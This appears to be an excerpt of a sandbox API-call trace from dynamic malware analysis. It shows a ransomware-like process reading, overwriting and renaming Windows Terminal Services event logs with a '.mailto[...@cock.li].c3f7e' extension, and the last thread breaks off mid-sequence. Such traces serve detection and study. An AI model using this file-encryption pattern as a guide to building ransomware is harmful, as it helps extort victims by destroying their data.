	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x70f7225d
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x1e480f83
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x3e1d3553
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xc4d05614
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xdaf1c59b
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x7b56f8c0
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x6fe8b9ea
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x282164bb
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x119c8ff1
	[0080.889] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xb64c0dc7
	[0080.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0080.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0080.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0080.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47ed7e8
	[0080.900] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.900] ReadFile (in: hFile=0x1404, lpBuffer=0x47ed7e8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x116bf78c, lpOverlapped=0x0 | out: lpBuffer=0x47ed7e8*, lpNumberOfBytesRead=0x116bf78c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.117] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0081.118] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fdf000
	[0081.121] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.122] WriteFile (in: hFile=0x1404, lpBuffer=0x4fdf000*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x116bf78c, lpOverlapped=0x0 | out: lpBuffer=0x4fdf000*, lpNumberOfBytesWritten=0x116bf78c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fdf000) returned 1
	[0081.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed7e8) returned 1
	[0081.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x91) returned 0x2e2ab78
	[0081.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x91) returned 0x2e2ac18
	[0081.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0081.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x175) returned 0x4734a20
	[0081.247] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.247] WriteFile (in: hFile=0x1404, lpBuffer=0x4734a20*, nNumberOfBytesToWrite=0x175, lpNumberOfBytesWritten=0x116bf80c, lpOverlapped=0x0 | out: lpBuffer=0x4734a20*, lpNumberOfBytesWritten=0x116bf80c*=0x175, lpOverlapped=0x0) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734a20) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2ac18) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2ab78) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0081.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32b68
	[0081.311] wcscpy (in: _Dest=0x4e32b68, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx"
	[0081.311] wcscat (in: _Dest=0x4e32b68, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.311] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x116bf7c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4765310
	[0081.311] NtSetInformationFile (FileHandle=0x1404, IoStatusBlock=0x116bf7bc, FileInformation=0x4765310, Length=0xf2, FileInformationClass=0xa) returned 0x0
	[0087.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765310) returned 1
	[0087.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaf88) returned 1
	[0087.766] NtQueryInformationFile (in: FileHandle=0x1404, IoStatusBlock=0x116bf7d0, FileInformation=0x116bf7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x116bf7d0, FileInformation=0x116bf7a8) returned 0x0
	[0087.766] NtSetInformationFile (FileHandle=0x1404, IoStatusBlock=0x116bf7d0, FileInformation=0x116bf7a8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32b68) returned 1
	[0087.768] FlushFileBuffers (hFile=0x1404) returned 1
	[0092.863] CloseHandle (hObject=0x1404) 

Thread:
	id = 429
	os_tid = 0x15dc

	[0076.964] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20
	[0080.476] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.476] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b8
	[0080.476] GetFileSizeEx (in: hFile=0x9b8, lpFileSize=0x1173f74c | out: lpFileSize=0x1173f74c*=69632) returned 1
	[0080.476] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.476] ReadFile (in: hFile=0x9b8, lpBuffer=0x1173f6d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1173f6cc, lpOverlapped=0x0 | out: lpBuffer=0x1173f6d0*, lpNumberOfBytesRead=0x1173f6cc*=0x4, lpOverlapped=0x0) returned 1
	[0080.767] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34410
	[0080.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0080.767] NtQuerySystemTime (in: CurrentTime=0x1173f6ac | out: CurrentTime=0x1173f6ac*=132251868074994179) returned 0x0
	[0080.767] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x485905a8
	[0080.767] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xedc56e3b
	[0080.767] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xf9c9faa7
	[0080.767] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xa172b8a9
	[0080.767] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x6905537e
	[0080.767] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xafe7e2be
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x7ca3d3ed
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xd6b9086
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x3b66216d
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x5aaa7d7
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xf7645ca5
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xb0fc0a23
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x6ef66b92
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x3a04a1e8
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x4c6f0445
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x5170c001
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xa2bc27d6
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xdb92ed51
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x8677ae7a
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xc5799f09
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x1aefac90
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x2c3cac3e
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xa1d7d6fe
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xe70b0831
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xd39f6922
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x5ee09d01
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xede7e14b
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x4639b7cb
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x973a9a1
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x1c502070
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0x997e8225
	[0080.768] RtlRandom (in: Seed=0x1173f6b8 | out: Seed=0x1173f6b8) returned 0xfa57a6f3
	[0080.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0080.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34140
	[0080.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0080.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48b0018
	[0080.779] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.779] ReadFile (in: hFile=0x9b8, lpBuffer=0x48b0018, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1173f68c, lpOverlapped=0x0 | out: lpBuffer=0x48b0018*, lpNumberOfBytesRead=0x1173f68c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.064] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e7b8
	[0081.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.069] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.069] WriteFile (in: hFile=0x9b8, lpBuffer=0x4f6e7b8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1173f68c, lpOverlapped=0x0 | out: lpBuffer=0x4f6e7b8*, lpNumberOfBytesWritten=0x1173f68c*=0xc800, lpOverlapped=0x0) returned 1
	[0084.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e7b8) returned 1
	[0084.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48b0018) returned 1
	[0084.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9d) returned 0x4987c10
	[0084.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9d) returned 0x4987628
	[0084.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.698] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.698] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.698] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x181) returned 0x2d5c040
	[0084.698] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.698] WriteFile (in: hFile=0x9b8, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x181, lpNumberOfBytesWritten=0x1173f70c, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x1173f70c*=0x181, lpOverlapped=0x0) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4987628) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4987c10) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34410) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0084.701] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34140) returned 1
	[0084.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ebca8
	[0084.701] wcscpy (in: _Dest=0x47ebca8, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx"
	[0084.701] wcscat (in: _Dest=0x47ebca8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.701] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1173f6c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481dc00
	[0084.701] NtSetInformationFile (FileHandle=0x9b8, IoStatusBlock=0x1173f6bc, FileInformation=0x481dc00, Length=0xfe, FileInformationClass=0xa) returned 0x0
	[0087.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481dc00) returned 1
	[0087.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47515c8) returned 1
	[0087.786] NtQueryInformationFile (in: FileHandle=0x9b8, IoStatusBlock=0x1173f6d0, FileInformation=0x1173f6a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1173f6d0, FileInformation=0x1173f6a8) returned 0x0
	[0087.786] NtSetInformationFile (FileHandle=0x9b8, IoStatusBlock=0x1173f6d0, FileInformation=0x1173f6a8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebca8) returned 1
	[0087.797] FlushFileBuffers (hFile=0x9b8) returned 1
	[0092.915] CloseHandle (hObject=0x9b8) 

Thread:
	id = 430
	os_tid = 0x15e0

	[0076.965] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20
	[0080.329] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0080.339] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1318
	[0080.339] GetFileSizeEx (in: hFile=0x1318, lpFileSize=0x117bf9f0 | out: lpFileSize=0x117bf9f0*=69632) returned 1
	[0080.339] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.339] ReadFile (in: hFile=0x1318, lpBuffer=0x117bf974, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x117bf970, lpOverlapped=0x0 | out: lpBuffer=0x117bf974*, lpNumberOfBytesRead=0x117bf970*=0x4, lpOverlapped=0x0) returned 1
	[0080.346] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.346] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.346] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0080.346] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0080.347] NtQuerySystemTime (in: CurrentTime=0x117bf950 | out: CurrentTime=0x117bf950*=132251868070776264) returned 0x0
	[0080.347] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x4d707404
	[0080.347] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xe796b5af
	[0080.347] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xdaedc004
	[0080.347] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x908d485e
	[0080.347] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x9030e2ad
	[0080.347] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x3176d97
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xe242ba9e
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x97263a56
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xfd0f1a79
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x89cca4e9
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x70d50fa3
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x600a644c
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xdfb9b7c3
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x22075c51
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xdce76674
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x5fc62adb
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x8cba9d73
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x4cadb4b3
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x183475ca
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x8c7aaa63
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xc2339fa5
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xcfce2387
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xe3903f12
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xe935003a
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xb3e571b9
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xc286f585
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x71ff6797
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xc4228ccd
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x82253b78
	[0080.348] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x50c7873c
	[0080.349] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xd12abc20
	[0080.349] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x34fbaec2
	[0080.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0080.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0080.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
